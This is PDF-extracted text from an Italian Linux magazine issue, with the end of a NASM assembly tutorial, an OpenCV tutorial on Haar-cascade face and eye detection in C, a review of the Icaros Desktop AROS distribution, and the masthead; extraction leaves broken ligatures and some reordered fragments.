In questo tutorial avete utilizzato %include, che non è una istruzione CPU ma un modo di dire a NASM di includere un altro fi le sorgente dentro quello corrente. Sono molte le pseudo-istruzioni utilizzabili con NASM, che non lavorano con la CPU ma indicano a NASM cosa fare. Ad esempio, potete utilizzare incbin seguito dal nome del fi le (tra apici) per includere un fi le binario nel fi le corrente. Perché volerlo fare? Potreste voler includere un fi le audio o un’immagine nel programma, perciò collegate un’etichetta al comando incbin e utilizzate i dati relativamente a questa. Infatti, potreste scrivere un gioco dove tutti gli effetti sonori e gli sprite sono inclusi nell’eseguibile fi nale, perciò non dovrete individuarli e caricarli dal fi lesystem a runtime. Un’altra utile parola chiave di NASM è equ, che consente la defi nizione delle costanti. L’avete già vista nella prima puntata, dove l’avete utilizzata per defi nire la lunghezza di una stringa. Nel momento in cui cominciate a scrivere programmi complessi, potreste voler inserire valori importanti in testa in modo da modifi carli in una singola posizione, invece di ricercarli nel codice. Ad esempio... SPEED equ 9000

… mov eax, SPEED cmp ebx, SPEED …Qui, NASM sostituisce semplicemente ogni istanza di SPEED con il numero 9000 prima di generare l’eseguibile. Prima di terminare, una piccola nota riguardante il prefi sso times. Potete utilizzarlo per ripetere l’operazione specifi cata un certo numero di volte, senza doverla riscrivere manualmente. Per esempio, se dovete effettuare 10 operazioni movsb (move string byte) consecutive, potete utilizzare il codice: times 10 movsbSe disassemblate il binario risultante con ndisasm, vedrete 10 istruzioni movsb nel punto precedente. Carino vero? LXP

Espandere la libreria!La vostra library.asm è appena nata, con sole sei routine al suo interno, tuttavia potrebbe diventare molto più grande e utile. Potreste cercare codice su Internet ed espanderla, ma dove starebbe il divertimento in ciò? Sarebbe più divertente se i lettori di LXP lavorassero insieme per creare una splendida libreria comune. Avete probabilmente milioni di idee per piccole routine Assembly da utilizzare nei vostri programmi, perciò se ne avete scritte fatecelo sapere. Che tipo di routine creare? Secondo noi, tutti i software di qualità vengono dai grattacapi, perciò pensate a cosa vorreste in un programma e implementatelo. Potreste voler creare una routine per generare la radice quadrata di un numero, per esempio, o scrivere qualcosa di simile a lib_clear_screen, che prenda le coordinate da EAX e EBX e che sposti il cursore conseguentemente. È spesso utile prendere routine dei linguaggi ad alto livello e portarle in Assembly, in modo da sostituire esattamente il ruolo del compilatore (e capire come fa). Nella maggior parte delle routine, è una buona idea utilizzare pusha all’avvio e popa alla fi ne, per preservare lo stato dei registri ed evitare

di far crashare i programmi che le usano. Se volete restituire un valore, comunque, esistono dei trucchi per farlo. Guardate come funziona lib_input_number per ispirarvi: … mov long [.tmp], eax popa mov long eax, [.tmp] ret section .bss .tmp resb 4Il registro EAX viene temporaneamente memorizzato nei quattro byte puntati da .tmp nella sezione di dati non inizializzati. Chiamate ora popa per ripristinare i registri salvati all’inizio e copiate .tmp in EAX per ritornare alla routine chiamante. Inviate il vostro codice alla redazione e happy coding! Fateci sapere quando avete creato qualcosa di interessante. Nei prossimi mesi vogliamo vedere crescere la libreria con tante funzioni utili.

call lib_exit

%include “library.asm”Date un’occhiata al codice passo per passo. Cominciate con la sezione .data, contenente una coppia di stringhe fi sse, seguita dalla sezione .text contenente il codice stesso. Successivamente trovate _start (il punto di avvio dell’esecuzione da indicare al linker) e le prime tre righe che si occupano della stampa di un messaggio e di ottenere un valore numerico dall’utente, inserendolo nel registro EAX. Di seguito il processo di calcolo del fattoriale. Per prima cosa EAX viene copiato in EBX, dato che EAX è necessario per il calcolo del risultato (dato che si tratta dell’unico registro di destinazione per l’istruzione mul).

Viene poi istituita un’etichetta locale per l’avvio di un ciclo ed effettuata la prima operazione di moltiplicazione. Successivamente viene sottratto uno da EBX utilizzando l’istruzione dec e controllando che il risultato sia maggiore di zero. Se lo è, il ciclo continua. Ricordate che i risultati vengono memorizzati in EAX che aumenta mentre EBX decresce. Perciò se l’utente inserisce 5 la prima operazione è 5 x 1 e l’ultima sarà 1 x 120. Una volta completato il ciclo, viene stampato un messaggio seguito dal numero, per poi terminare il programma. I benefi ci di una libreria esterna sono evidenti, come avete potuto notare, dato che è possibile concentrarsi sul codice per il calcolo fattoriale e non sulle chiamate al kernel e simili.

Page 87: LinuxPro-N120_Settembre2012

90 LINUX PRO 120

OpenCV

Maurizio RussoLaureato in Informatica presso l’Università “La Sapienza” di Roma, con una tesi sperimentale sullo stack TCP/IP del kernel Linux, è un utente del pinguino dal 2001. Nella sua carriera si è occupato di formazione, sicurezza, networking, progettazione e sviluppo di software.

L’autoreNella scorsa puntata, abbandonata l’image processing, siamo fi nalmente approdati alla Computer Vision vera e propria,

introducendo il problema del template maching. Abbiamo esaminato la questione nella sua complessità, implementando dapprima una soluzione banale e immediata (basata sulla ricerca pedissequa dei pixel del template all’interno dell’immagine base), per poi ragionare su un algoritmo più generale, in grado di verifi care anche la presenza di un match parziale tra le due immagini. Come ciliegina sulla torta, abbiamo introdotto la funzione cvMatchTemplate() (offerta da OpenCV per l’implementazione del template matching), adoperandola all’interno di un terzo programma di prova. In altri termini, siamo partiti da un problema (date due immagini, verifi care se la prima è presente nella seconda) per poi realizzare diverse soluzioni, dalla più particolare (e costosa) a quella più generale (e rapida): si tratta di un processo mentale che si è ripetuto innumerevoli volte nel corso di questa serie,

e ci ha consentito di introdurre le funzioni offerte da OpenCV forti di un buon background teorico, apprezzando al contempo il lavoro dei programmatori della libreria (proprio perché, prima di utilizzare in maniera meccanica la funzione della puntata, ci siamo impegnati a realizzare una versione “artigianale”!). L’algoritmo trattato in questa puntata, tuttavia, appartiene a quell’insieme di temi per i quali l’approccio sinora eseguito risulta inapplicabile: il campo della face recognition (riconoscimento facciale) è, infatti, eccessivamente complesso, ed esclude pertanto la possibilità di descrivere in poche pagine la realizzazione ex novo di un algoritmo completo.

Machine LearningIl riconoscimento facciale rientra nel campo della machine learning: l’ambizione massima di questa branca dell’informatica è insita nel suo nome, e consiste nella realizzazione di algoritmi in grado di simulare quanto più possibile la mente umana, riproducendo in particolare le caratteristiche in termini di apprendimento, astrazione e generalizzazione. Se infatti alcuni task sono banali per una mente umana, la loro trasposizione su elaboratore risulta decisamente complessa. È il caso, ad esempio, del problema del riconoscimento del volto di una qualsiasi persona data una fotografi a, o più semplicemente, del riconoscimento del signifi cato di una conversazione: task banali e immediati per qualsiasi essere umano, che tuttavia risultano di diffi cile implementazione sugli elaboratori. Ma come funzionano i moderni algoritmi di machine learning e, in particolare, gli algoritmi di riconoscimento oggetto di questa puntata? Fornita una collezione di dati di input, gli algoritmi di riconoscimento (detti anche classifi catori) si preoccupano di (Fig.1):Δ analizzare i dati; Δ estrarne le caratteristiche salienti (o feature);Δ aggregare e compendiare le feature estratte all’interno di un modello, che costituisce il “motore” del sistema di riconoscimento.Un buon algoritmo di riconoscimento basato sulle tecniche di machine learning, quindi, è in grado di inferire un modello generale a partire dall’esame di un insieme di dati iniziali: in altri termini, è in grado di “imparare”! Al fi ne di agevolare il processo di apprendimento, la collezione di dati iniziali va suddivisa in tre sottoinsiemi (Fig.2): 1 training set - è il primo insieme di dati che viene somministrato all’algoritmo, determinando la generazione del modello. Affi nché quest’ultimo sia coerente e consistente, il training set deve essere costituito da un campione rappresentativo di tutti i possibili input che saranno sottoposti, a regime, all’algoritmo: ciò comporta, di conseguenza, la presenza sia di dati contenenti le caratteristiche desiderate

PRO

dentro ildentro il

Codice d’esempioLinux Pro vi mostra come individuare un volto all’interno di un’immagine... naturalmente, con OpenCV!

1 Il processo che, in un algoritmo di machine learning, porta alla realizzazione del modello a partire dai dati, è detto di “apprendimento”

Face recognition

Page 88: LinuxPro-N120_Settembre2012

LINUX PRO 120 91

OpenCV

(per i quali, cioè, il processo di riconoscimento dovrebbe concludersi positivamente), sia di dati privi di tali feature, distinti tra loro dalla presenza di opportune etichette (o label, Fig.3). L’algoritmo cui viene dato in input il training set, infatti, è privo del “motore di riconoscimento” (il modello) e, pertanto, deve essere opportunamente istruito, attraverso le label, sulla natura dei dati: in altri termini, le etichette “spiegano” il signifi cato del dato, dando modo all’algoritmo di “imparare”;2 validation set - il modello inferito dal training set potrebbe garantire un’affi dabilità minore di quella desiderata; scopo del validation set è proprio quello di verifi care l’effettiva capacità di riconoscimento dell’algoritmo. Il validation set è costituito da dati non etichettati, che vengono sottoposti all’algoritmo per saggiarne le capacità in termini di:Δ riconoscimenti corretti; Δ falsi positivi (dati scambiati erroneamente per dati contenenti le feature desiderate); Δ falsi negativi (dati erroneamente ritenuti non d’interesse). I risultati del processo di riconoscimento sono poi confrontati con quelli ottimali fornendo una misura dell’effi cacia del modello. In caso di performance insoddisfacenti, è possibile modifi care il training set (reiterando il processo di “apprendimento”) oppure agire sull’algoritmo, integrando il codice sorgente (Fig.4);3 test set - prima di essere rilasciato, l’algoritmo deve essere opportunamente testato. Tale processo si svolge con modalità analoghe a quelle della validazione, tramite il ricorso a un terzo insieme di dati, detto test set.

Computer Vision e Machine LearningPer poter applicare gli algoritmi di machine learning alla computer vision, è necessario “contestualizzare” alcuni degli aspetti sin qui analizzati:Δ in che modo si effettua il labelling? L’operazione di etichettatura richiede, a un operatore umano, l’esame di un numero considerevole (anche decine di migliaia) di immagini: un lavoro proibitivo per un singolo! Una possibile soluzione potrebbe essere rappresentata dal ricorso a tool collaborativi, magari sotto forma di applicazione Web, in grado di distribuire i carichi di lavoro su un certo numero di operatori;Δ quali sono le feature da considerare ai fi ni dell’algoritmo? A seconda delle scelte, potrebbe essere necessario/opportuno un pretrattamento dell’immagine con algoritmi di image processing (conversione in bianco e nero, equalizzazione, trasformazioni di scala, negativo, ecc.), in grado di rendere più evidenti le caratteristiche d’interesse, velocizzando l’algoritmo;Δ come gestire la presenza di disturbi (rumore additivo, rumore impulsivo, variazioni di luminosità) nelle immagini? In che misura le feature scelte sono suscettibili alla presenza di tali disturbi? Nel caso si giudichi probabile il decremento delle performance dell’algoritmo su immagini affette da disturbi, occorre prevedere un pretrattamento con fi ltri (es. fi ltro di smoothing) in grado di attenuarli senza infi ciare le feature d’interesse. In aggiunta a queste problematiche, è fondamentale ridurre all’osso l’insieme delle feature necessarie: l’analisi di immagini, specie ad alta

2 La collezione di dati iniziali da sottoporre all’algoritmo di machine learning viene suddivisa in tre insiemi: training set, validation set e test set

risoluzione, risulta infatti particolarmente onerosa dal punto di vista computazionale, rendendo auspicabile qualsiasi snellimento della procedura. La riduzione delle feature può essere ottenuta mediante un procedimento incrementale che, ciclicamente:Δ esamini l’insieme F delle feature d’interesse;Δ calcoli l’insieme F’, ottenuto da F mediante la rimozione di una singola feature f;Δ istruisca l’algoritmo mediante il training set, estraendo il modello sulla base dell’analisi delle feature in F’;Δ verifi chi le performance dell’algoritmo, in termini di capacità di riconoscimento, sottoponendo al nuovo modello l’insieme delle immagini del validation test;Δ confronti le performance con quelle ottenibili considerando l’intero insieme F (che include la feature f rimossa in F’): se il confronto rileva risultati analoghi, allora la feature può essere considerata ininfl uente; viceversa, decrementi signifi cativi delle performance rivelano l’importanza della feature esclusa.

OpenCV e face detectionLa libreria OpenCV offre numerose funzionalità anche nel campo della machine learning, ivi compresi algoritmi per il riconoscimento dei volti (face detection) che costituiscono l’argomento principale di questa puntata. In particolare, analizzeremo l’algoritmo Haar classifi er,

4 Nel caso in cui, dopo la fase di validazione, le performance dell’algoritmo siano giudicate insuffi cienti, è possibile modifi care il codice sorgente e sottoporre il programma nuovamente alla fase di test

3 Ogni dato del learning set è associato a un’etichetta che specifi ca la presenza (o l’assenza) delle caratteristiche ricercate dall’algoritmo

œ

Page 89: LinuxPro-N120_Settembre2012

92 LINUX PRO 120

OpenCV

utilizzare il modello, è suffi ciente invocare il seguente codice: #defi ne MODEL “haarcascade_frontalface_alt.xml” /* caricamento del modello */ model=(CvHaarClassifi erCascade*) cvLoad(MODEL, 0, 0, 0); if(model==NULL) { printf(“Errore: impossibile accedere al fi le %s!\n”,MODEL); return ERRORE; }che procede al caricamento del fi le in memoria. A questo punto, non ci resta che richiamare l’algoritmo di riconoscimento, attraverso la funzione cvHaarDetectObject(). La funzione si basa sull’aggregazione dei risultati di più algoritmi “deboli” (ovvero le cui performance, in termini di attendibilità, sono di poco superiore al 50%, percentuale raggiungibile, per le regole del calcolo delle probabilità, attraverso una scelta randomica), eseguiti in successione sulla medesima immagine al fi ne di identifi care, con ragionevole certezza, la presenza di un volto (o la sua assenza). Attraverso numerose iterazioni (durante le quali viene ampliata di volta in volta la fi nestra di rilevamento, che determina le dimensioni del più piccolo volto individuabile), vengono delimitate le regioni potenzialmente interessanti, sulle quali viene tracciato un rettangolo. Al termine, il numero di rettangoli sovrapposti consente di discernere i falsi positivi dai match reali (come mostra la Fig.6, un rettangolo isolato, verosimilmente, coincide con un falso positivo, mentre la sovrapposizione di più rettangoli indica, con elevata possibilità, la presenza di un oggetto d’interesse all’interno dell’area che costituisce l’intersezione tra le fi gure). Il prototipo della funzione (Fig.7) è il seguente: CVSeq *cvHaarDetectObjects(const CvArr *image, CvHaarClassifi erCascade *model, , CvMemStorage *storage, double scale_factor, int min_neighbors, int fl ags, CvSize min_size);dove:Δ image è l’immagine “target”, ovvero quella su cui eseguire l’algoritmo di riconoscimento facciale;Δ model è il modello dell’algoritmo, precedentemente caricato con cvLoad();Δ storage è una variabile di tipo CvMemStorage (da allocare prima dell’invocazione della funzione), utilizzata da cvHaarDetectObject() per la memorizzazione dei risultati intermedi;Δ scale_factor defi nisce il fattore di scala applicato tra una iterazione e l’altra;Δ min_neighbors costituisce il numero minimo di rettangoli che, se sovrapposti, identifi cano un’area contenente un volto (un valore eccessivamente ridotto assegnato a questo parametro può determinare un certo numero di falsi positivi; viceversa, valori troppo elevati possono ridurre sensibilmente il numero dei volti rilevati, comportando la presenza di falsi negativi);Δ fl ags è utilizzato per pretrattare, se necessario, l’immagine con l’algoritmo di Canny per l’edge detection, al fi ne di identifi care le regioni che, contenendo troppi o troppo pochi edge, possono essere scartate a priori in quanto non d’interesse;Δ min-size defi nisce le dimensioni minime di un volto

5 La directory /usr/local/share/OpenCV/haardcascades contiene i modelli offerti da OpenCV

completo di un modello già perfettamente funzionante per il riconoscimento frontale: tale modello, fornito dalla libreria sotto forma di fi le XML, ci esonera dall’implementazione delle tre fasi (training, validation e test) che, come visto nei paragrafi precedenti, risultano particolarmente onerose dal punto di vista realizzativo, dunque diffi cilmente si prestano (tenuto conto anche del numero di immagini etichettate necessarie per ogni fase) a un contesto domestico o amatoriale. Gli autori delle librerie danno comunque la possibilità, a chi volesse cimentarsi, di effettuare un training mirato dell’algoritmo, che gli consenta di “apprendere” le modalità di riconoscimento di oggetti diversi dal volto umano (in particolare, si ottengono buone performance con corpi rigidi come automobili, motociclette e biciclette). In questa sede, tuttavia, ci accontenteremo del già citato modello incluso in OpenCV per il riconoscimento dei volti disposti frontalmente: il fi le XML in questione (di cui, a ogni buon conto, alleghiamo una copia sul DVD) si trova all’interno delle directory d’installazione di OpenCV, generalmente al path /usr/local/share/OpenCV/haarcascades (Fig.5). Per semplicità, copiamo il fi le all’interno della directory che conterrà il nostro programma: questa operazione, sebbene non necessaria, ci mette al riparo da eventuali problemi all’atto dell’esecuzione. Per

6 In cvHaarDetectObjects(), la presenza di molteplici rettangoli sulla medesima area indica un match positivo

Page 90: LinuxPro-N120_Settembre2012

LINUX PRO 120 93

OpenCV

identifi cabile dall’algoritmo; questo parametro deve essere coerente con le caratteristiche dell’immagine, al fi ne di evitare un numero eccessivo di falsi positivi (nel caso in cui le dimensioni scelte siano troppo ridotte) o viceversa di falsi negativi.Introdotta la funzione, non ci resta che utilizzarla in un programma di prova che, per semplicità, si limiterà all’individuazione di un singolo volto in un’immagine a toni di grigio. L’ implementazione del programma si snoda attraverso varie fasi:1 caricamento del modello per il riconoscimento frontale dei volti: #defi ne MODEL “haarcascade_frontalface_alt.xml” /* caricamento del modello */ model=(CvHaarClassifi erCascade*) cvLoad(MODEL, 0, 0, 0); if(model==NULL) { printf(“Errore: impossibile accedere al fi le %s!\n”,MODEL); return ERRORE; }2 allocazione di uno storage, da passare come buffer di memoria alla funzione di riconoscimento: /* creazione dello storage */ storage = cvCreateMemStorage(0); if(storage==NULL) { printf(“Errore: impossibile procedere alla creazione dello storage!\n”); return ERRORE; }3 conversione dell’immagine in grayscale per velocizzare il processo di rilevamento: /* conversione in grayscale dell’immagine */ gray = cvCreateImage(cvGetSize(img), img->depth, 1); cvCvtColor(img, gray, CV_RGB2GRAY);4 invocazione della funzione cvHaarDetectObject(): /* invocazione di cvHaarDetectObjects() */ face = cvHaarDetectObjects(gray,model, storage,1.1,3,CV_HAAR_DO_CANNY_ PRUNING,cvSize(20, 20));

if(face==NULL) { printf(“Nessuna faccia rilevata!\n”); return ERRORE; }5 se è stato individuato un volto, realizzazione di un rettangolo che lo metta in evidenza: /* disegnamo un rettangolo intorno al volto */ face_rect = (CvRect*)cvGetSeqElem(face, 0); vertice1 = cvPoint(face_rect->x, face_rect->y); vertice2 = cvPoint(face_rect->x + face_rect->width, face_rect->y + face_rect->height); cvRectangle(gray,vertice1,vertice2, CV_RGB(0, 0, 255),1, 8, 0);6 visualizzazione dell’immagine ottenuta: /* creazione di una fi nestra per la visualizzazione dell’immagine */ cvNamedWindow(“lxp_tutorial29”, CV_WINDOW_AUTOSIZE); /* visualizzazione dell’immagine all’interno

8 Il nostro responsabile di redazione, sul quale proveremo ad effettuare il riconoscimento facciale

della fi nestra */ cvShowImage(“lxp_tutorial29”, gray); /* attesa di un input da tastiera prima di terminare il programma */ cvWaitKey(0);Nel caso desiderassimo rilevare molteplici volti all’interno di una singola immagine, basterebbe sostituire il codice al punto 5 con un ciclo che, scandendo tutti i risultati ottenuti dall’algoritmo (il cui numero totale è rappresentato da face->total), mostri un rettangolo per ognuno di essi (estraendone i relativi risultati attraverso la funzione cvGetSeqElem(face,i), con la variabile i che va da 0 a face->total – 1). Siamo pronti per la verifi ca del nostro programma, mostrato nelle sua interezza nel listato 1. Una volta compilato: g++ `pkg-confi g opencv --cfl ags --libs` -Wall listato1.c

7 La pagina di manuale di cvHaarDetectObjects()

œ

Page 91: LinuxPro-N120_Settembre2012

94 LINUX PRO 120

OpenCV

return ERRORE; }2 allocazione dello storage: /* creazione dello storage */ storage = cvCreateMemStorage(0); if(storage==NULL) { printf(“Errore: impossibile procedere alla creazione dello storage!\n”); return ERRORE; }3 invocazione della funzione CVHaarDetectObject(): /* invocazione di cvHaarDetectObjects() */ eyes = cvHaarDetectObjects(gray,model,storage,1.1, 3,CV_HAAR_DO_CANNY_PRUNING,cvSize(40, 20));4 disegno dei rettangoli di delimitazione degli occhi: if(eyes!=NULL) { /* disegnamo un rettangolo intorno agli occhi */ for( i = 0; i < eyes->total; i++ ) { face_rect = (CvRect*)cvGetSeqElem(eyes, i); vertice1 = cvPoint(face_rect->x, face_rect->y); vertice2 = cvPoint(face_rect->x + face_rect->width, face_rect->y + face_rect->height); cvRectangle(gray,vertice1,vertice2, CV_RGB(0, 0, 255),1, 8, 0); } }Il codice completo è illustrato dal listato 2; va compilato: g++ `pkg-confi g opencv --cfl ags --libs` -Wall listato2.c -o listato2ed eseguito: ./listato2 lxp.png ottenendo, come previsto, i risultati raffi gurati in (Fig.10). LXP

-o listato1e mandato in esecuzione: ./listato1 lxp.png passandogli un’immagine contenente un volto ripreso frontalmente (noi abbiamo scelto l’immagine in Fig.8, raffi gurante il nostro responsabile di redazione), otteniamo il risultato desiderato (Fig.9).

Riconoscimento degli occhiCome già illustrato, l’algoritmo di riconoscimento offerto da OpenCV è in grado di individuare, se opportunamente ammaestrato, oggetti diversi dai volti umani. Ciò implica, di conseguenza, la possibilità di impiegare la funzione cvHaarDetectObject() anche per altri compiti, ivi incluso il riconoscimento degli occhi: un’ottima occasione per estendere le funzionalità del programma appena realizzato! L’unico ostacolo che potrebbe frapporsi tra noi e questo obiettivo è costituito dall’assenza di un modello per il riconoscimento degli occhi: per fortuna, la libreria OpenCV ci viene nuovamente incontro, offrendoci un fi le XML contenente, come nel caso precedente, un modello ad hoc. Si tratta del fi le haarcascade-eye.xml, che troveremo nella medesima directory già vista in precedenza. Se si esclude il modello, la procedura per il riconoscimento degli occhi risulta analoga a quella già implementata. In particolare, dopo il riconoscimento del volto, è necessario procedere al:1 caricamento del fi le XML: #defi ne MODEL2 “haarcascade_eye.xml” /* carichiamo il modello per il rilevamento degli occhi */ model = (CvHaarClassifi erCascade*) cvLoad(MODEL2, 0, 0, 0); if(model==NULL) { printf(“Errore: impossibile accedere al fi le %s!\n”,MODEL2);

10 Anche gli occhi sono rilevati correttamente

9 Il riconoscimento facciale è stato

completato con successo

Page 92: LinuxPro-N120_Settembre2012

CORRI SUBITO IN EDICOLA!

La PRIMA RIVISTA per il mondo LINUX davvero FACILE

INTERNATIONAL

min_Ubuntu_207x285.indd 1 01/08/12 10.32

Page 93: LinuxPro-N120_Settembre2012

96 LINUX PRO 120

PROdentro ildentro il

SoftwareOgni mese Linux Pro vi offre i programmi e le distribuzioni più recenti su DVD

Icaros Desktop 1.4.4Sistema operativo

IIcaros Desktop è la più diffusa distribuzione del sistema operativo AROS, una riscrittura Open Source di AmigaOS disponibile per varie piattaforme, tra cui i comuni PC. Installandola, o anche solo provandola in modalità

Live, potrete riscoprire un modo di fare l’informatica completamente diverso da quello a cui siete ormai abituati, in cui la reattività dell’interfaccia e il risparmio delle risorse erano le vere priorità. Una volta caricato Wanderer, il sostituto del Workbench, avrete la sensazione di trovarvi di fronte a una versione “super accessoriata” di AmigaOS 3.1, con le sue fi nestre piene di cassetti e di progetti, con le applicazioni che possono aprire “custom screen” da posizionare e fare scorrere verso l’alto o verso il basso, e con tutta una serie di comodità che vent’anni fa non erano previste: uno stack USB moderno, la connettività TCP/IP wired e wireless, un sistema di decorazioni e il supporto all’accelerazione 3D per mezzo di Gallium 3D. La 1.4.4 è, inoltre, la prima versione di Icaros Desktop capace di eseguire le applicazioni classiche per AmigaOS 3.x senza dover ricorrere a pacchetti esterni o alle ROM originali del compianto computer Commodore: ci penserà una versione di AROS debitamente compilata per il processore Motorola 68000, comodamente stipata in una macchina virtuale, a occuparsi degli stessi programmi, integrandoli nel desktop. La cosa vale ovviamente anche per i videogiochi e per le “demo” dei coder, ancora oggi motivo di gloria e di nostalgia per la piattaforma.

InstallazioneUna volta estratta l’ISO presente nel pacchetto icaros-live-ISO_144.7z è possibile usarla direttamente “da DVD” oppure installarla sul disco fi sso, in una partizione libera. Purtroppo ciò potrà comportare qualche diffi coltà per gli utenti di Linux

in quanto la condivisione di un disco fi sso richiede un intervento manuale sui fi le di confi gurazione di GRUB. Ma nulla vi vieta di installare Icaros Desktop su una chiave USB da almeno 4 GB, dopo averla “ripulita” di qualsiasi partizione già presente. Il manuale in PDF incluso con la

distribuzione (presente anche nel DVD) si dilunga piuttosto chiaramente sui passaggi da effettuare.

Primi passiUna volta avviato il sistema, sarà possibile accedere ai programmi contenuti principalmente nella directory Extras, suddivisi in categorie. Non tutti i programmi funzionano correttamente in modalità Live. Per esempio, l’integrazione del software classico per processori 68000 e il client di posta elettronica SimpleMail si rifi uteranno di partire. Dopo l’installazione su disco o chiave USB, tuttavia, diventeranno disponibili. Come da tradizione amighista, il tasto destro del mouse darà accesso al menu principale dell’applicazione selezionata, e i tasti Windows saranno rimappati come “tasti Amiga” sinistro e destro. Laddove essi mancassero, le stesse funzionalità verranno assunte da F11 e F12, oltre che dal tasto Menu, solitamente posizionato fra Ctrl e Alt destro. È bene ricordare che l’organizzazione del fi lesystem e le meccaniche dell’interfaccia utente sono diverse da quelle di Linux e di Windows, per tanto chi non fosse mai stato avvezzo ad AmigaOS potrebbe trovarsi piuttosto spaesato. Anche in questo caso, il manuale di Icaros Desktop giunge in aiuto. Per quanto riguarda la compatibilità hardware, è assicurata – senza accelerazione 3D – su VMware e VirtualBox, ma il modo migliore per apprezzare il sistema è procurarsi l’hardware supportato. Per usare Gallium3D, per esempio, è necessaria una GPU Intel GMA 900 (o similare), o una scheda Nvidia basata su GPU GeForce FX, 6, 7 o superiore, fi no alle penultime release di Fermi. Le Radeon potranno essere usate, senza accelerazione, in modalità VESA. Qualora vi fossero delle ulteriori perplessità, la distribuzione dispone di un forum di supporto all’indirizzo www.aros-exec.org. LXP

Paolo Besser

L’autore

Gui

da

Ogni volta che troverete

questo simbolo in un articolo,

vorrà dire che i file citati

si trovano nel DVD allegato

alla rivista.

L’introduzione di Cinnamon Writer, del gioco Hurrican e del supporto diretto alle applicazioni Amiga classiche sono le grandi novità di questa versione di Icaros Desktop

Il foglio elettronico per AmigaOS Ignition, recentemente rilasciato con una licenza open, gira su Icaros Desktop come una normale applicazione per x86. L’ambiente M68K va confi gurato a priori

Page 94: LinuxPro-N120_Settembre2012

NEL PROSSIMO NUMEROIn edicola il 19 settembre

THE JOURNALTHE JOURNALAbbiamo scavato nei meandri delle recenti tecnologie Open Source Abbiamo scavato nei meandri delle recenti tecnologie Open Source

per svelarvi un nuovo tool per la registrazione dei log di sistemaper svelarvi un nuovo tool per la registrazione dei log di sistema

Mensile - 5,90 euro

Direttore Responsabile: Luca Sprea - [email protected] Editoriale: Stefano Spagnolo

Redazione: [email protected] Bosisio (coordinatore di redazione)Massimiliano Zagaglia (responsabile di redazione) Davide Pistritto (realizzazione DVD)Brunetta Pieraccini (segreteria)

Digital media coordinator: Massimo Allievi

Impaginazione: Sara Benecino

Hanno collaborato:Aurelio Bignoli, Ben Everard, Chris Brown, Ciro Mattia Gonano, Claudio Romeo, Daniele Belletti, Daniele Tampieri, David Hayward, Eduard Roccatello, Emanuele Calò, Fabrizio Ciacchi, Francesca Beatrice Cice, Graham Morrison, Jonathan Roberts, Maria Vitiello, Matteo Chiarion, Maurizio Russo, Mayank Sharma, Mike Saunders, Nick Veitch, Paolo Besser, Pietro Leone, Shashank Sharma, Tiziana Remondini

Iconografia e fotografie: Marco Coppola

Contenuti su licenza: Linux Format - Future P.ce - London (UK)

Pubblicità: Luigi De Re - pubblicità@linuxpro.it Tel. 339 4546500Abbonamenti (disponibili solo in versione con DVD)Si sottoscrivono in 2 minuti con 2 click via Web. Trova l’offerta speciale di questo mese all’indirizzowww.myabb.it/linuxpro oppure [email protected]; puoi anche abbonarti via fax 030 3198412,per telefono 199 111 999 dal lunedì al venerdì dalle ore 8,30 alle ore 18,30. Costo massimo della chiamata da tutta Italia per telefoni fissi € 0,12 + iva al minuto senza scatto alla risposta. Per cellulari costo in funzione dell’operatore. Per chi volesse abbonarsi dall’estero +39 041 5099049.ArretratiSi sottoscrivono online all’indirizzo: www.linuxpro.it/arretratiPer informazioni: [email protected] fax al numero 02.70.05.37.67.2

Stampa: Arti Grafiche Boccia S.p.A. - SalernoCarta: Valpaco Paper Supply Chain Optimizer

Sprea Editori S.p.A. Socio unico Medi & Son S.r.L.Via Torino, 51 20063 Cernusco Sul Naviglio (MI)Tel (+39) 02.92432.1 Fax (+39) 02.92.43.22.36

[email protected] - www.sprea.it

Consiglio di amministrazione:Luca Sprea (Presidente),Stefano Spagnolo (Vice Presidente - amministratore delegato), Mario Sprea (consigliere)

Collegio sindacale: Roberto Bosa (Presidente), Maria Luisa Capuzzoni, Ugo Besso

Amministrazione: Anna Nese - [email protected]

Foreign rights: Gabriella Re - [email protected]

Marketing & pubblicità: Walter Longo [email protected]

Distributore per l’Italia e per l’Estero: Press-Di Distribuzione Stampa e Multimedia S.r.l. - 20090 Segrate (MI)

LINUX PROPubblicazione mensile registrata al Tribunale di Milano il 08.02.2003 con il n. 74 - Tariffa R.O.C. - Poste Italiane Spa - Sped. In Abb. Post. - D.L. 353/2003 (conv. In L. 27/02/2004 n. 46) art. 1, comma 1, DCB MilanoCopyright Sprea Editori S.p.a

La Sprea Editori è titolare esclusiva della testata Linux Pro e di tutti i diritti di pubblicazione e diffusione in Italia. I contenuti sono adattati e tradotti su licenza della pubblicazione: Linux Format – Future P.ce – London (UK). L’utilizzo da parte di terzi di testi, fotografie e disegni, anche parziale, è vietato. L’Editore si dichiara pienamente disponibile a valutare - e se del caso regolare - le eventuali spettanze di terzi per la

pubblicazione di immagini di cui non sia stato eventualmente possibile reperire la fonte. Informativa e Consenso in materia di trattamento dei dati personali (Codice Privacy d.lgs. 196/03). Nel vigore del D.Lgs 196/03 il Titolare del trattamento dei dati personali, ex art. 28 D.Lgs. 196/03, è Sprea Editori S.p.A. (di seguito anche “Sprea”), con sede in Cernusco sul Naviglio (MI), via Torino, 51. La stessa La informa che i Suoi dati, eventualmente da Lei trasmessi alla Sprea, verranno raccolti, trattati e conservati nel rispetto del decreto legislativo ora enunciato anche per attività connesse all’azienda. La avvisiamo, inoltre, che i Suoi dati potranno essere comunicati e/o trattati (sempre nel rispetto della legge), anche all’estero, da società e/o persone che prestano servizi in favore della Sprea. In ogni momento Lei potrà chiedere la modifica, la correzione e/o la cancellazione dei Suoi dati ovvero esercitare tutti i diritti previsti dagli artt. 7 e ss. del D.Lgs. 196/03 mediante comunicazione scritta alla Sprea e/o direttamente al personale Incaricato preposto al trattamento dei dati. La lettura della presente informativa deve intendersi quale presa visione dell’Informativa ex art. 13 D.Lgs. 196/03 e l’invio dei Suoi dati personali alla Sprea varrà quale consenso espresso al trattamento dei dati personali secondo quanto sopra specificato. L’invio di materiale (testi, fotografie, disegni, etc.) alla Sprea Editori S.p.A. deve intendersi quale espressa autorizzazione alla loro libera utilizzazione da parte di Sprea Editori S.p.A. per qualsiasi fine e a titolo gratuito, e comunque, a titolo di esempio, alla pubblicazione gratuita su qualsiasi supporto cartaceo e non, su qualsiasi pubblicazione (anche non della Sprea Editori S.p.A.), in qualsiasi canale di vendita e Paese del mondo. Il materiale inviato alla redazione non potrà essere restituito.

ArduinoLa scheda Arduino ha una versatilità incredibile. Il mese prossimo vedrete come creare un sistema di input, insomma una tastiera, con cui digitare proprio come con una tastiera normale

